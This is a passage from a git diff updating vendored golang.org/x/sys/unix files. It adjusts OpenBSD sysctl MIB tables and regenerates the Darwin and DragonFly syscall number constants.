- {"net.inet.ip.mtudisc", []_C_int{4, 2, 0, 27}},
- {"net.inet.ip.mtudisctimeout", []_C_int{4, 2, 0, 28}},
-@@ -173,7 +180,6 @@ var sysctlMib = []mibentry{
- {"net.inet.ipip.stats", []_C_int{4, 2, 4, 2}},
- {"net.inet.mobileip.allow", []_C_int{4, 2, 55, 1}},
- {"net.inet.pfsync.stats", []_C_int{4, 2, 240, 1}},
-- {"net.inet.pim.stats", []_C_int{4, 2, 103, 1}},
- {"net.inet.tcp.ackonpush", []_C_int{4, 2, 6, 13}},
- {"net.inet.tcp.always_keepalive", []_C_int{4, 2, 6, 22}},
- {"net.inet.tcp.baddynamic", []_C_int{4, 2, 6, 6}},
-@@ -187,6 +193,7 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.reasslimit", []_C_int{4, 2, 6, 18}},
- {"net.inet.tcp.rfc1323", []_C_int{4, 2, 6, 1}},
- {"net.inet.tcp.rfc3390", []_C_int{4, 2, 6, 17}},
-+ {"net.inet.tcp.rootonly", []_C_int{4, 2, 6, 24}},
- {"net.inet.tcp.rstppslimit", []_C_int{4, 2, 6, 12}},
- {"net.inet.tcp.sack", []_C_int{4, 2, 6, 10}},
- {"net.inet.tcp.sackholelimit", []_C_int{4, 2, 6, 20}},
-@@ -194,9 +201,12 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.stats", []_C_int{4, 2, 6, 21}},
- {"net.inet.tcp.synbucketlimit", []_C_int{4, 2, 6, 16}},
- {"net.inet.tcp.syncachelimit", []_C_int{4, 2, 6, 15}},
-+ {"net.inet.tcp.synhashsize", []_C_int{4, 2, 6, 25}},
-+ {"net.inet.tcp.synuselimit", []_C_int{4, 2, 6, 23}},
- {"net.inet.udp.baddynamic", []_C_int{4, 2, 17, 2}},
- {"net.inet.udp.checksum", []_C_int{4, 2, 17, 1}},
- {"net.inet.udp.recvspace", []_C_int{4, 2, 17, 3}},
-+ {"net.inet.udp.rootonly", []_C_int{4, 2, 17, 6}},
- {"net.inet.udp.sendspace", []_C_int{4, 2, 17, 4}},
- {"net.inet.udp.stats", []_C_int{4, 2, 17, 5}},
- {"net.inet6.divert.recvspace", []_C_int{4, 24, 86, 1}},
-@@ -209,13 +219,8 @@ var sysctlMib = []mibentry{
- {"net.inet6.icmp6.nd6_delay", []_C_int{4, 24, 30, 8}},
- {"net.inet6.icmp6.nd6_maxnudhint", []_C_int{4, 24, 30, 15}},
- {"net.inet6.icmp6.nd6_mmaxtries", []_C_int{4, 24, 30, 10}},
-- {"net.inet6.icmp6.nd6_prune", []_C_int{4, 24, 30, 6}},
- {"net.inet6.icmp6.nd6_umaxtries", []_C_int{4, 24, 30, 9}},
-- {"net.inet6.icmp6.nd6_useloopback", []_C_int{4, 24, 30, 11}},
-- {"net.inet6.icmp6.nodeinfo", []_C_int{4, 24, 30, 13}},
-- {"net.inet6.icmp6.rediraccept", []_C_int{4, 24, 30, 2}},
- {"net.inet6.icmp6.redirtimeout", []_C_int{4, 24, 30, 3}},
-- {"net.inet6.ip6.accept_rtadv", []_C_int{4, 24, 17, 12}},
- {"net.inet6.ip6.auto_flowlabel", []_C_int{4, 24, 17, 17}},
- {"net.inet6.ip6.dad_count", []_C_int{4, 24, 17, 16}},
- {"net.inet6.ip6.dad_pending", []_C_int{4, 24, 17, 49}},
-@@ -228,20 +233,19 @@ var sysctlMib = []mibentry{
- {"net.inet6.ip6.maxdynroutes", []_C_int{4, 24, 17, 48}},
- {"net.inet6.ip6.maxfragpackets", []_C_int{4, 24, 17, 9}},
- {"net.inet6.ip6.maxfrags", []_C_int{4, 24, 17, 41}},
-- {"net.inet6.ip6.maxifdefrouters", []_C_int{4, 24, 17, 47}},
-- {"net.inet6.ip6.maxifprefixes", []_C_int{4, 24, 17, 46}},
- {"net.inet6.ip6.mforwarding", []_C_int{4, 24, 17, 42}},
-+ {"net.inet6.ip6.mrtmfc", []_C_int{4, 24, 17, 53}},
-+ {"net.inet6.ip6.mrtmif", []_C_int{4, 24, 17, 52}},
- {"net.inet6.ip6.mrtproto", []_C_int{4, 24, 17, 8}},
- {"net.inet6.ip6.mtudisctimeout", []_C_int{4, 24, 17, 50}},
- {"net.inet6.ip6.multicast_mtudisc", []_C_int{4, 24, 17, 44}},
- {"net.inet6.ip6.multipath", []_C_int{4, 24, 17, 43}},
- {"net.inet6.ip6.neighborgcthresh", []_C_int{4, 24, 17, 45}},
- {"net.inet6.ip6.redirect", []_C_int{4, 24, 17, 2}},
-- {"net.inet6.ip6.rr_prune", []_C_int{4, 24, 17, 22}},
-+ {"net.inet6.ip6.soiikey", []_C_int{4, 24, 17, 54}},
- {"net.inet6.ip6.sourcecheck", []_C_int{4, 24, 17, 10}},
- {"net.inet6.ip6.sourcecheck_logint", []_C_int{4, 24, 17, 11}},
- {"net.inet6.ip6.use_deprecated", []_C_int{4, 24, 17, 21}},
-- {"net.inet6.ip6.v6only", []_C_int{4, 24, 17, 24}},
- {"net.key.sadb_dump", []_C_int{4, 30, 1}},
- {"net.key.spd_dump", []_C_int{4, 30, 2}},
- {"net.mpls.ifq.congestion", []_C_int{4, 33, 3, 4}},
-@@ -256,6 +260,7 @@ var sysctlMib = []mibentry{
- {"net.pipex.enable", []_C_int{4, 35, 1}},
- {"vm.anonmin", []_C_int{2, 7}},
- {"vm.loadavg", []_C_int{2, 2}},
-+ {"vm.malloc_conf", []_C_int{2, 12}},
- {"vm.maxslp", []_C_int{2, 10}},
- {"vm.nkmempages", []_C_int{2, 6}},
- {"vm.psstrings", []_C_int{2, 3}},
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
-index 2786773b..f3361453 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
-@@ -1,5 +1,5 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/include/sys/syscall.h
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.13.sdk/usr/include/sys/syscall.h
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,darwin
-
-@@ -121,13 +121,15 @@ const (
- SYS_CSOPS = 169
- SYS_CSOPS_AUDITTOKEN = 170
- SYS_WAITID = 173
-+ SYS_KDEBUG_TYPEFILTER = 177
-+ SYS_KDEBUG_TRACE_STRING = 178
- SYS_KDEBUG_TRACE64 = 179
- SYS_KDEBUG_TRACE = 180
- SYS_SETGID = 181
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-- SYS_CHUD = 185
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -278,7 +280,6 @@ const (
- SYS_KQUEUE = 362
- SYS_KEVENT = 363
- SYS_LCHOWN = 364
-- SYS_STACK_SNAPSHOT = 365
- SYS_BSDTHREAD_REGISTER = 366
- SYS_WORKQ_OPEN = 367
- SYS_WORKQ_KERNRETURN = 368
-@@ -287,6 +288,8 @@ const (
- SYS___OLD_SEMWAIT_SIGNAL_NOCANCEL = 371
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
-+ SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -298,11 +301,8 @@ const (
- SYS___MAC_GET_FD = 388
- SYS___MAC_SET_FD = 389
- SYS___MAC_GET_PID = 390
-- SYS___MAC_GET_LCID = 391
-- SYS___MAC_GET_LCTX = 392
-- SYS___MAC_SET_LCTX = 393
-- SYS_SETLCID = 394
-- SYS_GETLCID = 395
-+ SYS_PSELECT = 394
-+ SYS_PSELECT_NOCANCEL = 395
- SYS_READ_NOCANCEL = 396
- SYS_WRITE_NOCANCEL = 397
- SYS_OPEN_NOCANCEL = 398
-@@ -351,6 +351,7 @@ const (
- SYS_GUARDED_CLOSE_NP = 442
- SYS_GUARDED_KQUEUE_NP = 443
- SYS_CHANGE_FDGUARD_NP = 444
-+ SYS_USRCTL = 445
- SYS_PROC_RLIMIT_CONTROL = 446
- SYS_CONNECTX = 447
- SYS_DISCONNECTX = 448
-@@ -367,6 +368,7 @@ const (
- SYS_COALITION_INFO = 459
- SYS_NECP_MATCH_POLICY = 460
- SYS_GETATTRLISTBULK = 461
-+ SYS_CLONEFILEAT = 462
- SYS_OPENAT = 463
- SYS_OPENAT_NOCANCEL = 464
- SYS_RENAMEAT = 465
-@@ -392,7 +394,43 @@ const (
- SYS_GUARDED_WRITE_NP = 485
- SYS_GUARDED_PWRITE_NP = 486
- SYS_GUARDED_WRITEV_NP = 487
-- SYS_RENAME_EXT = 488
-+ SYS_RENAMEATX_NP = 488
- SYS_MREMAP_ENCRYPTED = 489
-- SYS_MAXSYSCALL = 490
-+ SYS_NETAGENT_TRIGGER = 490
-+ SYS_STACK_SNAPSHOT_WITH_CONFIG = 491
-+ SYS_MICROSTACKSHOT = 492
-+ SYS_GRAB_PGO_DATA = 493
-+ SYS_PERSONA = 494
-+ SYS_WORK_INTERVAL_CTL = 499
-+ SYS_GETENTROPY = 500
-+ SYS_NECP_OPEN = 501
-+ SYS_NECP_CLIENT_ACTION = 502
-+ SYS___NEXUS_OPEN = 503
-+ SYS___NEXUS_REGISTER = 504
-+ SYS___NEXUS_DEREGISTER = 505
-+ SYS___NEXUS_CREATE = 506
-+ SYS___NEXUS_DESTROY = 507
-+ SYS___NEXUS_GET_OPT = 508
-+ SYS___NEXUS_SET_OPT = 509
-+ SYS___CHANNEL_OPEN = 510
-+ SYS___CHANNEL_GET_INFO = 511
-+ SYS___CHANNEL_SYNC = 512
-+ SYS___CHANNEL_GET_OPT = 513
-+ SYS___CHANNEL_SET_OPT = 514
-+ SYS_ULOCK_WAIT = 515
-+ SYS_ULOCK_WAKE = 516
-+ SYS_FCLONEFILEAT = 517
-+ SYS_FS_SNAPSHOT = 518
-+ SYS_TERMINATE_WITH_PAYLOAD = 520
-+ SYS_ABORT_WITH_PAYLOAD = 521
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_MAXSYSCALL = 530
-+ SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go
-index 09de240c..654dd3da 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go
-@@ -1,5 +1,5 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/include/sys/syscall.h
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk/usr/include/sys/syscall.h
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,darwin
-
-@@ -121,13 +121,15 @@ const (
- SYS_CSOPS = 169
- SYS_CSOPS_AUDITTOKEN = 170
- SYS_WAITID = 173
-+ SYS_KDEBUG_TYPEFILTER = 177
-+ SYS_KDEBUG_TRACE_STRING = 178
- SYS_KDEBUG_TRACE64 = 179
- SYS_KDEBUG_TRACE = 180
- SYS_SETGID = 181
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-- SYS_CHUD = 185
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -278,7 +280,6 @@ const (
- SYS_KQUEUE = 362
- SYS_KEVENT = 363
- SYS_LCHOWN = 364
-- SYS_STACK_SNAPSHOT = 365
- SYS_BSDTHREAD_REGISTER = 366
- SYS_WORKQ_OPEN = 367
- SYS_WORKQ_KERNRETURN = 368
-@@ -287,6 +288,8 @@ const (
- SYS___OLD_SEMWAIT_SIGNAL_NOCANCEL = 371
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
-+ SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -298,11 +301,8 @@ const (
- SYS___MAC_GET_FD = 388
- SYS___MAC_SET_FD = 389
- SYS___MAC_GET_PID = 390
-- SYS___MAC_GET_LCID = 391
-- SYS___MAC_GET_LCTX = 392
-- SYS___MAC_SET_LCTX = 393
-- SYS_SETLCID = 394
-- SYS_GETLCID = 395
-+ SYS_PSELECT = 394
-+ SYS_PSELECT_NOCANCEL = 395
- SYS_READ_NOCANCEL = 396
- SYS_WRITE_NOCANCEL = 397
- SYS_OPEN_NOCANCEL = 398
-@@ -351,6 +351,7 @@ const (
- SYS_GUARDED_CLOSE_NP = 442
- SYS_GUARDED_KQUEUE_NP = 443
- SYS_CHANGE_FDGUARD_NP = 444
-+ SYS_USRCTL = 445
- SYS_PROC_RLIMIT_CONTROL = 446
- SYS_CONNECTX = 447
- SYS_DISCONNECTX = 448
-@@ -367,6 +368,7 @@ const (
- SYS_COALITION_INFO = 459
- SYS_NECP_MATCH_POLICY = 460
- SYS_GETATTRLISTBULK = 461
-+ SYS_CLONEFILEAT = 462
- SYS_OPENAT = 463
- SYS_OPENAT_NOCANCEL = 464
- SYS_RENAMEAT = 465
-@@ -392,7 +394,45 @@ const (
- SYS_GUARDED_WRITE_NP = 485
- SYS_GUARDED_PWRITE_NP = 486
- SYS_GUARDED_WRITEV_NP = 487
-- SYS_RENAME_EXT = 488
-+ SYS_RENAMEATX_NP = 488
- SYS_MREMAP_ENCRYPTED = 489
-- SYS_MAXSYSCALL = 490
-+ SYS_NETAGENT_TRIGGER = 490
-+ SYS_STACK_SNAPSHOT_WITH_CONFIG = 491
-+ SYS_MICROSTACKSHOT = 492
-+ SYS_GRAB_PGO_DATA = 493
-+ SYS_PERSONA = 494
-+ SYS_WORK_INTERVAL_CTL = 499
-+ SYS_GETENTROPY = 500
-+ SYS_NECP_OPEN = 501
-+ SYS_NECP_CLIENT_ACTION = 502
-+ SYS___NEXUS_OPEN = 503
-+ SYS___NEXUS_REGISTER = 504
-+ SYS___NEXUS_DEREGISTER = 505
-+ SYS___NEXUS_CREATE = 506
-+ SYS___NEXUS_DESTROY = 507
-+ SYS___NEXUS_GET_OPT = 508
-+ SYS___NEXUS_SET_OPT = 509
-+ SYS___CHANNEL_OPEN = 510
-+ SYS___CHANNEL_GET_INFO = 511
-+ SYS___CHANNEL_SYNC = 512
-+ SYS___CHANNEL_GET_OPT = 513
-+ SYS___CHANNEL_SET_OPT = 514
-+ SYS_ULOCK_WAIT = 515
-+ SYS_ULOCK_WAKE = 516
-+ SYS_FCLONEFILEAT = 517
-+ SYS_FS_SNAPSHOT = 518
-+ SYS_TERMINATE_WITH_PAYLOAD = 520
-+ SYS_ABORT_WITH_PAYLOAD = 521
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_KQUEUE_WORKLOOP_CTL = 530
-+ SYS___MACH_BRIDGE_REMOTE_TIME = 531
-+ SYS_MAXSYSCALL = 532
-+ SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
-index 41cb6ed3..103a72ed 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
-@@ -1,4 +1,4 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS10.2.sdk/usr/include/sys/syscall.h
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS11.1.sdk/usr/include/sys/syscall.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,darwin
-@@ -129,6 +129,7 @@ const (
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -288,6 +289,7 @@ const (
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
- SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -421,6 +423,14 @@ const (
- SYS_FS_SNAPSHOT = 518
- SYS_TERMINATE_WITH_PAYLOAD = 520
- SYS_ABORT_WITH_PAYLOAD = 521
-- SYS_MAXSYSCALL = 522
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_MAXSYSCALL = 530
- SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go
-index 075816c3..7ab2130b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go
-@@ -1,4 +1,4 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS10.2.sdk/usr/include/sys/syscall.h
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS11.1.sdk/usr/include/sys/syscall.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm64,darwin
-@@ -129,6 +129,7 @@ const (
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -288,6 +289,7 @@ const (
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
- SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -421,6 +423,14 @@ const (
- SYS_FS_SNAPSHOT = 518
- SYS_TERMINATE_WITH_PAYLOAD = 520
- SYS_ABORT_WITH_PAYLOAD = 521
-- SYS_MAXSYSCALL = 522
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_MAXSYSCALL = 530
- SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go
-index b2c9ef81..464c9a98 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go
-@@ -1,4 +1,4 @@
--// mksysnum_dragonfly.pl
-+// go run mksysnum.go https://gitweb.dragonflybsd.org/dragonfly.git/blob_plain/HEAD:/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,dragonfly
-@@ -13,7 +13,7 @@ const (
- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, \
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); } wait4 wait_args int
- SYS_LINK = 9 // { int link(char *path, char *link); }
- SYS_UNLINK = 10 // { int unlink(char *path); }
- SYS_CHDIR = 12 // { int chdir(char *path); }
-@@ -22,17 +22,17 @@ const (
- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
- SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-- SYS_GETFSSTAT = 18 // { int getfsstat(struct statfs *buf, long bufsize, \
-+ SYS_GETFSSTAT = 18 // { int getfsstat(struct statfs *buf, long bufsize, int flags); }
- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, \
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
- SYS_SETUID = 23 // { int setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t getuid(void); }
- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, \
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
- SYS_SENDMSG = 28 // { int sendmsg(int s, caddr_t msg, int flags); }
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, \
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, caddr_t from, int *fromlenaddr); }
- SYS_ACCEPT = 30 // { int accept(int s, caddr_t name, int *anamelen); }
- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, caddr_t asa, int *alen); }
- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, caddr_t asa, int *alen); }
-@@ -45,8 +45,8 @@ const (
- SYS_DUP = 41 // { int dup(int fd); }
- SYS_PIPE = 42 // { int pipe(void); }
- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, \
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
- SYS_GETGID = 47 // { gid_t getgid(void); }
- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-@@ -67,32 +67,32 @@ const (
- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
- SYS_MPROTECT = 74 // { int mprotect(void *addr, size_t len, int prot); }
- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
- SYS_GETPGRP = 81 // { int getpgrp(void); }
- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, \
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
- SYS_SWAPON = 85 // { int swapon(char *name); }
- SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
- SYS_DUP2 = 90 // { int dup2(int from, int to); }
- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
- SYS_FSYNC = 95 // { int fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
- SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
- SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
- SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-@@ -100,15 +100,15 @@ const (
- SYS_RENAME = 128 // { int rename(char *from, char *to); }
- SYS_FLOCK = 131 // { int flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, \
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
- SYS_RMDIR = 137 // { int rmdir(char *path); }
- SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
- SYS_STATFS = 157 // { int statfs(char *path, struct statfs *buf); }
- SYS_FSTATFS = 158 // { int fstatfs(int fd, struct statfs *buf); }
- SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-@@ -116,53 +116,53 @@ const (
- SYS_SETDOMAINNAME = 163 // { int setdomainname(char *domainname, int len); }
- SYS_UNAME = 164 // { int uname(struct utsname *name); }
- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_EXTPREAD = 173 // { ssize_t extpread(int fd, void *buf, \
-- SYS_EXTPWRITE = 174 // { ssize_t extpwrite(int fd, const void *buf, \
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_EXTPREAD = 173 // { ssize_t extpread(int fd, void *buf, size_t nbyte, int flags, off_t offset); }
-+ SYS_EXTPWRITE = 174 // { ssize_t extpwrite(int fd, const void *buf, size_t nbyte, int flags, off_t offset); }
- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
- SYS_SETGID = 181 // { int setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
